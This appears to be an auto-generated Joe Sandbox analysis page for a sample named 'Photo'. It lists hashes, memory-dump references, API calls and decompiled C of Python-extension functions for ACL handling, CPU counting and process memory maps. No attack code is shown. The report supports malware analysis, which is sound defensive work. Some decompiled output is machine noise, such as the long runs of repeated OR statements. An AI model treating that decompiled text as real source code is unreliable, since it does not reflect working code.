Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_FromObject_StringU_object@@$BuildValue
String ID: Identifier$Invalid value for TrusteeForm$MultipleTrustee$MultipleTrusteeOperation$TrusteeForm$TrusteeForm not yet supported$TrusteeType${s:O,s:l,s:l,s:l,s:N}
API String ID: 2152576507-1816636059
Opcode ID: cdeeb76e36ceb581e74750b30203ec7169f0aac68b7e1b5d962bb9aa99cea7a2
Instruction ID: 21f83105d0af840428b938a51315adf12e7ae12f214347932ef7f81565744649
Opcode Fuzzy Hash: cdeeb76e36ceb581e74750b30203ec7169f0aac68b7e1b5d962bb9aa99cea7a2
Instruction Fuzzy Hash: 340169B5600210ABF214DB68EC84CE6B3A9ABCC349F0C4B18FB0593364E630E840CB55

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1650 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,Error reordering ACL: Unable to allocate acl of size %d,?,?,?,?,?,?,?,?,1E7A1EDA,00000000), ref: 1E7A16BC

Strings

ReorderACL, xrefs: 1E7A17CD
ReorderACL, xrefs: 1E7A17E6
Error reordering ACL: Unable to allocate acl of size %d, xrefs: 1E7A16B6
Ace type %d is not supported yet, xrefs: 1E7A1809

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_Format
String ID: Ace type %d is not supported yet$Error reordering ACL: Unable to allocate acl of size %d$ReorderACL$ReorderACL
API String ID: 376477240-390946493
Opcode ID: ec8d0a2449a343158576c38169e3294aa5a1d412ac3ae28f82fa058b4c78a6ca
Instruction ID: ed6dcb7f9c60558c4d46b6b7f24c3b68719e0245464f1588f300acf2863d1ab4
Opcode Fuzzy Hash: ec8d0a2449a343158576c38169e3294aa5a1d412ac3ae28f82fa058b4c78a6ca
Instruction Fuzzy Hash: 735170B86083519FF304CF25E884A3BB7E9EBC8749F084B1DFA9586250D734D946CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02761970 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 027619B0
6C423B4E.MSVCR90(00000000), ref: 027619C0
GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 027619E8
6C423B4E.MSVCR90(00000000), ref: 02761A14
Py_BuildValue.PYTHON27(0276B284,00000000), ref: 02761A27

Strings

N;Bl, xrefs: 027619C0, 02761A14, 02761A5D
GetLogicalProcessorInformationEx() count was 0, xrefs: 02761A65
Win < 7; cpu_count_phys() forced to None, xrefs: 0276198C
GetLogicalProcessorInformationEx() returned , xrefs: 02761A4B

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423$BuildErrorInformationLastLogicalProcessorValue
String ID: GetLogicalProcessorInformationEx() count was 0$GetLogicalProcessorInformationEx() returned $N;Bl$Win < 7; cpu_count_phys() forced to None
API String ID: 16939043-3980109792
Opcode ID: d25a7698abaac7ae6d15a9052e635a43a1445983ee1159e6933a1c8480ecb1ba
Instruction ID: d076345129ca94b9d3eda0031ffa62f41418122fdff818ed1ca6d604af2ab2ed
Opcode Fuzzy Hash: d25a7698abaac7ae6d15a9052e635a43a1445983ee1159e6933a1c8480ecb1ba
Instruction Fuzzy Hash: 16312972A403059FD710DB64FC4CA7B7794EF81659F984534ED09D2300EB32951987F5

Uniqueness

Uniqueness Score: -1.00%

Function 02765860 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 0276587F
PyErr_SetString.PYTHON27(?,GetSystemInfo() failed to retrieve CPU count), ref: 027658B1
LocalAlloc.KERNEL32(00000040), ref: 027658CC
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 027658D9

Strings

GetSystemInfo() failed to retrieve CPU count, xrefs: 027658AB
CallNtPowerInformation syscall failed, xrefs: 027658FF
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 0276588D

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_$FromWindows$AllocLocalString
String ID: CallNtPowerInformation syscall failed$GetActiveProcessorCount() not available; using GetSystemInfo()$GetSystemInfo() failed to retrieve CPU count
API String ID: 1553409448-865213082
Opcode ID: 0a62c6fdd8d920006dbafd3664fe4abd69d919b72268eb92de98f643c5466b57
Instruction ID: 65135979eacbc6343f0f95e26984f760b6ef5b2725364635182752a216f9e5d0
Opcode Fuzzy Hash: 0a62c6fdd8d920006dbafd3664fe4abd69d919b72268eb92de98f643c5466b57
Instruction Fuzzy Hash: F2219372A81312DBE72057A8AC4DF9B3768EF85766F054421FE09E7240D730E824DAE5

Uniqueness

Uniqueness Score: -1.00%

Function 02765E90 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E02765E90(void* __ebx, long _a4) {
				int _t7;
				long _t8;
				signed int _t11;
				signed int _t12;
				void* _t15;
				long _t18;
				signed int _t20;
				signed int _t21;
				void* _t24;
				long _t29;
				void* _t31;

				_t29 = _a4;
				if(_t29 != 0) {
					_t31 = OpenProcess(0x410, 0, _t29);
					__eflags = _t31;
					if(_t31 != 0) {
						_t7 = GetExitCodeProcess(_t31,  &_a4);
						__eflags = _t7;
						if(_t7 == 0) {
							_t8 = GetLastError();
							CloseHandle(_t31);
							__eflags = _t8 - 5;
							if(_t8 != 5) {
								_t11 = E02761090("GetExitCodeProcess") | 0xffffffff;
								__eflags = _t11;
								return _t11;
							} else {
								_push("pir: GetExitCodeProcess() -> ERROR_ACCESS_DENIED");
								goto L14;
							}
						} else {
							CloseHandle(_t31);
							__eflags = _a4 - 0x103;
							if(__eflags != 0) {
								return E02765DC0(__eflags, _t29);
							} else {
								_push("pir: GetExitCodeProcess() -> STILL_ACTIVE");
								goto L14;
							}
						}
					} else {
						_t18 = GetLastError();
						__eflags = _t18 - 0x57;
						if(_t18 != 0x57) {
							__eflags = _t18 - 5;
							if(_t18 != 5) {
								_t20 = E02761090("OpenProcess(PROCESS_VM_READ)") | 0xffffffff;
								__eflags = _t20;
								return _t20;
							} else {
								_push("pir: OpenProcess() ACCESS_DENIED");
								L14:
								_push(_t29);
								_t12 = E02765E10();
								asm("sbb eax, eax");
								_t15 = ( ~_t12 & 0x00000002) - 1;
								__eflags = _t15;
								return _t15;
							}
						} else {
							_t21 = E02765E50(_t29, "pir: OpenProcess() -> INVALID_PARAMETER");
							asm("sbb eax, eax");
							_t24 =  ~( ~_t21) - 1;
							__eflags = _t24;
							return _t24;
						}
					}
				} else {
					_t2 = _t29 + 1; // 0x276253d
					return _t2;
				}
			}

0x02765e91
0x02765e97
0x02765ead
0x02765eaf
0x02765eb1
0x02765efb
0x02765f01
0x02765f03
0x02765f2a
0x02765f33
0x02765f39
0x02765f3d
0x02765f66
0x02765f66
0x02765f6a
0x02765f3f
0x02765f3f
0x00000000
0x02765f3f
0x02765f05
0x02765f06
0x02765f0c
0x02765f14
0x02765f28
0x02765f16
0x02765f16
0x00000000
0x02765f16
0x02765f14
0x02765eb3
0x02765eb3
0x02765eb9
0x02765ebc
0x02765ed6
0x02765ed9
0x02765ef0
0x02765ef0
0x02765ef4
0x02765edb
0x02765edb
0x02765f44
0x02765f44
0x02765f45
0x02765f4f
0x02765f55
0x02765f55
0x02765f57
0x02765f57
0x02765ebe
0x02765ec4
0x02765ece
0x02765ed3
0x02765ed3
0x02765ed5
0x02765ed5
0x02765ebc
0x02765e99
0x02765e99
0x02765e9d
0x02765e9d

APIs

OpenProcess.KERNEL32(00000410,00000000,0276253C,00000000,?,0276253C,?), ref: 02765EA7
GetLastError.KERNEL32(?,0276253C,?), ref: 02765EB3

Strings

pir: OpenProcess() -> INVALID_PARAMETER, xrefs: 02765EBE
GetExitCodeProcess, xrefs: 02765F58
pir: GetExitCodeProcess() -> ERROR_ACCESS_DENIED, xrefs: 02765F3F
pir: OpenProcess() ACCESS_DENIED, xrefs: 02765EDB
pir: GetExitCodeProcess() -> STILL_ACTIVE, xrefs: 02765F16
OpenProcess(PROCESS_VM_READ), xrefs: 02765EE2

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: ErrorLastOpenProcess
String ID: GetExitCodeProcess$OpenProcess(PROCESS_VM_READ)$pir: GetExitCodeProcess() -> ERROR_ACCESS_DENIED$pir: GetExitCodeProcess() -> STILL_ACTIVE$pir: OpenProcess() -> INVALID_PARAMETER$pir: OpenProcess() ACCESS_DENIED
API String ID: 919517065-509861091
Opcode ID: df608bec054ebe252f58020ab15feb8c7e93980335ae141f8c518ba865fb1c87
Instruction ID: e15582949a46d6239bb7f6d9608501c1ada6e3b7d6446cb30e89133edc9d2a34
Opcode Fuzzy Hash: df608bec054ebe252f58020ab15feb8c7e93980335ae141f8c518ba865fb1c87
Instruction Fuzzy Hash: 0B117FB2A882017AAE1215BCBC8C9FF3769CF82731BD04627FD55D5184E73084949591

Uniqueness

Uniqueness Score: -1.00%

Function 02764BC7 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E02764BC7(signed int* __eax, void* __ecx, signed int* __edi, signed int* __esi, intOrPtr _a8) {
				char _v520;
				char _v536;
				struct _MEMORY_BASIC_INFORMATION _v564;
				intOrPtr _v576;
				signed int* _t30;
				signed char _t31;
				intOrPtr* _t32;
				void* _t34;
				intOrPtr _t39;
				long _t40;
				intOrPtr* _t43;
				void* _t53;
				void* _t59;
				void* _t61;
				signed char _t64;
				signed char _t65;
				intOrPtr _t69;
				void* _t78;
				intOrPtr* _t85;
				intOrPtr* _t87;
				intOrPtr* _t90;
				void* _t92;
				void* _t93;
				void* _t97;
				void* _t99;
				void* _t100;

				_t64 = __ecx +  *__eax;
				 *__eax =  *__eax | _t64;
				_t65 = _t64 +  *__eax;
				 *__eax =  *__eax | _t65;
				 *__eax =  *__eax | _t65;
				 *__eax =  *__eax | _t65;
				_t30 =  &(__eax[2]);
				 *_t30 =  *_t30 | _t65;
				 *_t30 =  *_t30 | _t65;
				 *_t30 =  *_t30 | _t65;
				 *_t30 =  *_t30 | _t65;
				 *_t30 =  *_t30 | _t65;
				 *_t30 =  *_t30 | _t65;
				 *_t30 =  *_t30 | _t65;
				_t31 =  &(_t30[0x2020202]);
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *__esi =  *__esi | _t31;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *_t31 =  *_t31 | _t65;
				 *__edi =  *__edi | _t31;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t93 = 0;
				_t32 =  *0x27692a4(0, __esi, _t92);
				_t87 = _t32;
				_t99 = _t97 - 0x230 + 4;
				_v564.AllocationBase = _t87;
				if(_t87 != 0) {
					_t34 =  *0x2769308(_a8, "l",  &(_v564.RegionSize), __edi, _t59);
					_t100 = _t99 + 0xc;
					if(_t34 == 0) {
						L25:
						 *_t87 =  *_t87 + 0xffffffff;
						if( *_t87 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t87 + 4)) + 0x18))))(_t87);
							_t100 = _t100 + 4;
						}
						if(_t93 != 0) {
							CloseHandle(_t93);
						}
						return 0;
					} else {
						_t93 = E027660C0(_v564.RegionSize, 0x410);
						_t100 = _t100 + 8;
						if(_t93 == 0) {
							goto L25;
						} else {
							_t39 =  *0x276db8c; // 0xfffeffff
							_t61 = 0;
							_v564.AllocationProtect = _t39;
							_t40 = VirtualQueryEx(_t93, 0,  &(_v564.State), 0x1c);
							if(_t40 == 0) {
								L19:
								CloseHandle(_t93);
								return _t87;
							} else {
								while(_t61 <= _v564.AllocationProtect) {
									_push(0x208);
									_push( &_v520);
									_push(_t61);
									_push(_t93);
									L02768196();
									if(_t40 == 0) {
										L18:
										_t61 = _t61 + _v564.RegionSize;
										_t40 = VirtualQueryEx(_t93, _t61,  &_v564, 0x1c);
										if(_t40 != 0) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t43 =  &_v536;
										_t78 = _t43 + 2;
										do {
											_t69 =  *_t43;
											_t43 = _t43 + 2;
										} while (_t69 != 0);
										_t85 =  *0x276928c( &_v536, _t43 - _t78 >> 1);
										_t100 = _t100 + 8;
										if(_t85 == 0) {
											goto L25;
										} else {
											_t90 =  *0x27692b4("(ksOI)", _t61, E02764B50(_v564.Protect), _t85, _v564.RegionSize);
											_t100 = _t100 + 0x18;
											if(_t90 == 0) {
												L22:
												 *_t85 =  *_t85 + 0xffffffff;
												if( *_t85 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 4)) + 0x18))))(_t85);
													_t100 = _t100 + 4;
												}
												_t87 = _v576;
												goto L25;
											} else {
												_t53 =  *0x2769314(_v576, _t90);
												_t100 = _t100 + 8;
												if(_t53 != 0) {
													 *_t90 =  *_t90 + 0xffffffff;
													if( *_t90 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t90 + 4)) + 0x18))))(_t90);
														_t100 = _t100 + 4;
													}
													goto L22;
												} else {
													 *_t90 =  *_t90 + 0xffffffff;
													if( *_t90 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t90 + 4)) + 0x18))))(_t90);
														_t100 = _t100 + 4;
													}
													 *_t85 =  *_t85 + 0xffffffff;
													if( *_t85 == 0) {
														 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 4)) + 0x18))))(_t85);
														_t100 = _t100 + 4;
													}
													_t87 = _v576;
													goto L18;
												}
											}
										}
									}
									goto L30;
								}
								goto L19;
							}
						}
					}
				} else {
					return _t32;
				}
				L30:
			}

0x02764bc7
0x02764bc9
0x02764bcb
0x02764bcd
0x02764bcf
0x02764bd1
0x02764bd3
0x02764bd5
0x02764bd7
0x02764bd9
0x02764bdb
0x02764bdd
0x02764bdf
0x02764be1
0x02764be3
0x02764be8
0x02764bea
0x02764bec
0x02764bee
0x02764bf0
0x02764bf2
0x02764bf4
0x02764bf6
0x02764bf8
0x02764bfa
0x02764bfc
0x02764bfe
0x02764c00
0x02764c02
0x02764c04
0x02764c06
0x02764c08
0x02764c0a
0x02764c0c
0x02764c0e
0x02764c10
0x02764c12
0x02764c14
0x02764c16
0x02764c18
0x02764c1a
0x02764c1c
0x02764c1e
0x02764c20
0x02764c22
0x02764c24
0x02764c26
0x02764c28
0x02764c2a
0x02764c2c
0x02764c2e
0x02764c30
0x02764c32
0x02764c34
0x02764c36
0x02764c38
0x02764c3a
0x02764c3c
0x02764c3e
0x02764c40
0x02764c42
0x02764c44
0x02764c45
0x02764c46
0x02764c47
0x02764c48
0x02764c49
0x02764c4a
0x02764c4b
0x02764c4c
0x02764c4d
0x02764c4e
0x02764c4f
0x02764c58
0x02764c5b
0x02764c61
0x02764c63
0x02764c66
0x02764c6c
0x02764c8b
0x02764c91
0x02764c96
0x02764def
0x02764def
0x02764df2
0x02764dfb
0x02764dfd
0x02764dfd
0x02764e02
0x02764e05
0x02764e05
0x02764e17
0x02764c9c
0x02764cab
0x02764cad
0x02764cb2
0x00000000
0x02764cb8
0x02764cb8
0x02764cc4
0x02764cc8
0x02764ccc
0x02764cd4
0x02764db5
0x02764db6
0x02764dc8
0x02764ce0
0x02764ce0
0x02764cea
0x02764cf3
0x02764cf4
0x02764cf5
0x02764cf6
0x02764cfd
0x02764d9a
0x02764d9a
0x02764da7
0x02764daf
0x00000000
0x00000000
0x00000000
0x00000000
0x02764d03
0x02764d03
0x02764d07
0x02764d10
0x02764d10
0x02764d13
0x02764d16
0x02764d2b
0x02764d2d
0x02764d32
0x00000000
0x02764d38
0x02764d58
0x02764d5a
0x02764d5f
0x02764dda
0x02764dda
0x02764ddd
0x02764de6
0x02764de8
0x02764de8
0x02764deb
0x00000000
0x02764d61
0x02764d67
0x02764d6d
0x02764d72
0x02764dc9
0x02764dcc
0x02764dd5
0x02764dd7
0x02764dd7
0x00000000
0x02764d74
0x02764d74
0x02764d77
0x02764d80
0x02764d82
0x02764d82
0x02764d85
0x02764d88
0x02764d91
0x02764d93
0x02764d93
0x02764d96
0x00000000
0x02764d96
0x02764d72
0x02764d5f
0x02764d32
0x00000000
0x02764cfd
0x00000000
0x02764ce0
0x02764cd4
0x02764cb2
0x02764c6e
0x02764c76
0x02764c76
0x00000000

APIs

PyList_New.PYTHON27(00000000), ref: 02764C5B
PyArg_ParseTuple.PYTHON27(?,0276B81C,?), ref: 02764C8B
VirtualQueryEx.KERNEL32(00000000,00000000,?,0000001C), ref: 02764CCC
GetMappedFileNameW.PSAPI(00000000,?,?,00000208), ref: 02764CF6
PyUnicodeUCS2_FromWideChar.PYTHON27(?,?,00000000,?,?,00000208), ref: 02764D25
Py_BuildValue.PYTHON27((ksOI),?,00000000,?), ref: 02764D52
PyList_Append.PYTHON27(?,00000000), ref: 02764D67

Strings

(ksOI), xrefs: 02764D4D

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: List_$AppendArg_BuildCharFileFromMappedNameParseQueryTupleUnicodeValueVirtualWide
String ID: (ksOI)
API String ID: 1590903978-3583691019
Opcode ID: 9c711986a1cf0ebf1fdb58c5995e8d40741e94ebd4e270716ab325060baf8e2d
Instruction ID: 0467fab8d975b50597520f4de3ea7d14cac06584b65c3422ea6c309a9cae0693
Opcode Fuzzy Hash: 9c711986a1cf0ebf1fdb58c5995e8d40741e94ebd4e270716ab325060baf8e2d
Instruction Fuzzy Hash: 48510971900345AFD721DF64EC9CEB777A8EF81324F044A68EE558B241E734E915CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2050 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,%s not supported by this version of Windows,?,?,74360360,1E7A222A,74360360,AddAccessAllowedAceEx,?,?,?,?), ref: 1E7A206D
?PyWinObject_AsSID@@YAHPAU_object@@PAPAXH@Z.PYWINTYPES27(74360360,?,00000000,?,?,74360360,1E7A222A,74360360,AddAccessAllowedAceEx,?,?,?,?), ref: 1E7A208D

Strings

%s not supported by this version of Windows, xrefs: 1E7A2067
%s: unable to allocated %d bytes, xrefs: 1E7A211F

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_FormatObject_U_object@@
String ID: %s not supported by this version of Windows$%s: unable to allocated %d bytes
API String ID: 4084493908-968908422
Opcode ID: 3f0d23ceea1720557240d84416233b3f703dc2bc2ef8c790a8380ea647540491
Instruction ID: fa47d4dcbd80a48fd2b92525f47c634ed64b342c86fd3c6888121501751d20f8
Opcode Fuzzy Hash: 3f0d23ceea1720557240d84416233b3f703dc2bc2ef8c790a8380ea647540491
Instruction Fuzzy Hash: 594186B6605250AFF204DB54EC84D7B73A9EFC8665F184B1DFB4587250DB31E811CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1DC0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(?,%s not supported by this version of Windows,?,6C591680,?,?,1E7A1F84,7435F6B0,AddAccesAllowedAce,?,?,?,?), ref: 1E7A1DE5
?PyWinObject_AsSID@@YAHPAU_object@@PAPAXH@Z.PYWINTYPES27(?,?,00000000,6C591680,?,?,1E7A1F84,7435F6B0,AddAccesAllowedAce,?,?,?,?), ref: 1E7A1DFE

Strings

%s: unable to allocated %d bytes, xrefs: 1E7A1E8A
%s not supported by this version of Windows, xrefs: 1E7A1DDF

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_FormatObject_U_object@@
String ID: %s not supported by this version of Windows$%s: unable to allocated %d bytes
API String ID: 4084493908-968908422
Opcode ID: 83aeed25d9db77235033ee2e336a72271786b7f81dbf0ec382abc557527055ca
Instruction ID: 65c702a6374c165e0ca3dd9a0efee3b3ffc7f703bab10d4263cb4f8cb546ebc3
Opcode Fuzzy Hash: 83aeed25d9db77235033ee2e336a72271786b7f81dbf0ec382abc557527055ca
Instruction Fuzzy Hash: 8641A6B6605251AFF2049B14FC84D6BB3E9EFC8666F1C0B19F74587250EB31E801C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1970 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 125COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON27(00000000,-000000FF,-0000000C,00000000,00000000,?,?,1E7A1C5A,?,-0000000C), ref: 1E7A19BB
PyArg_ParseTupleAndKeywords.PYTHON27(00000000,?,llO|Ol,1E7B9270,?,?,?,?,?,?,1E7A1C5A,?,-0000000C), ref: 1E7A19E6
PyErr_SetString.PYTHON27(?,1E7AD558), ref: 1E7A1A1B

Strings

Identifier must be string/unicode when TrusteeForm = TRUSTEE_IS_NAME, xrefs: 1E7A1A7C
Identifier must be PySID object when TrusteeForm = TRUSTEE_IS_SID, xrefs: 1E7A1A56
Invalid value for TrusteeForm, xrefs: 1E7A1A9C
TrusteeForm not yet supported, xrefs: 1E7A1A8C
llO|Ol, xrefs: 1E7A19DF

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_KeywordsParseStringTupleTuple_
String ID: Identifier must be PySID object when TrusteeForm = TRUSTEE_IS_SID$Identifier must be string/unicode when TrusteeForm = TRUSTEE_IS_NAME$Invalid value for TrusteeForm$TrusteeForm not yet supported$llO|Ol
API String ID: 3950017715-2902864406
Opcode ID: eea8340ebd8b0c5952024028433a9462b6d69b1e4de841774672c433f218f2f2
Instruction ID: 56eddf4b76f30b41488cb9f019ce5fa7e382ec5594df802fca3f9e569981e972
Opcode Fuzzy Hash: eea8340ebd8b0c5952024028433a9462b6d69b1e4de841774672c433f218f2f2
Instruction Fuzzy Hash: 0C415EB59002029FF304DF15DC80D97B7E9FBC9654B088B59FA5987360E730E905CB91

Uniqueness

Uniqueness Score: -1.00%

Function 027819D0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 027819EC
6C423B4E.MSVCR90(00000000,00000000,00000000,00000000,00000000,?), ref: 027819FD
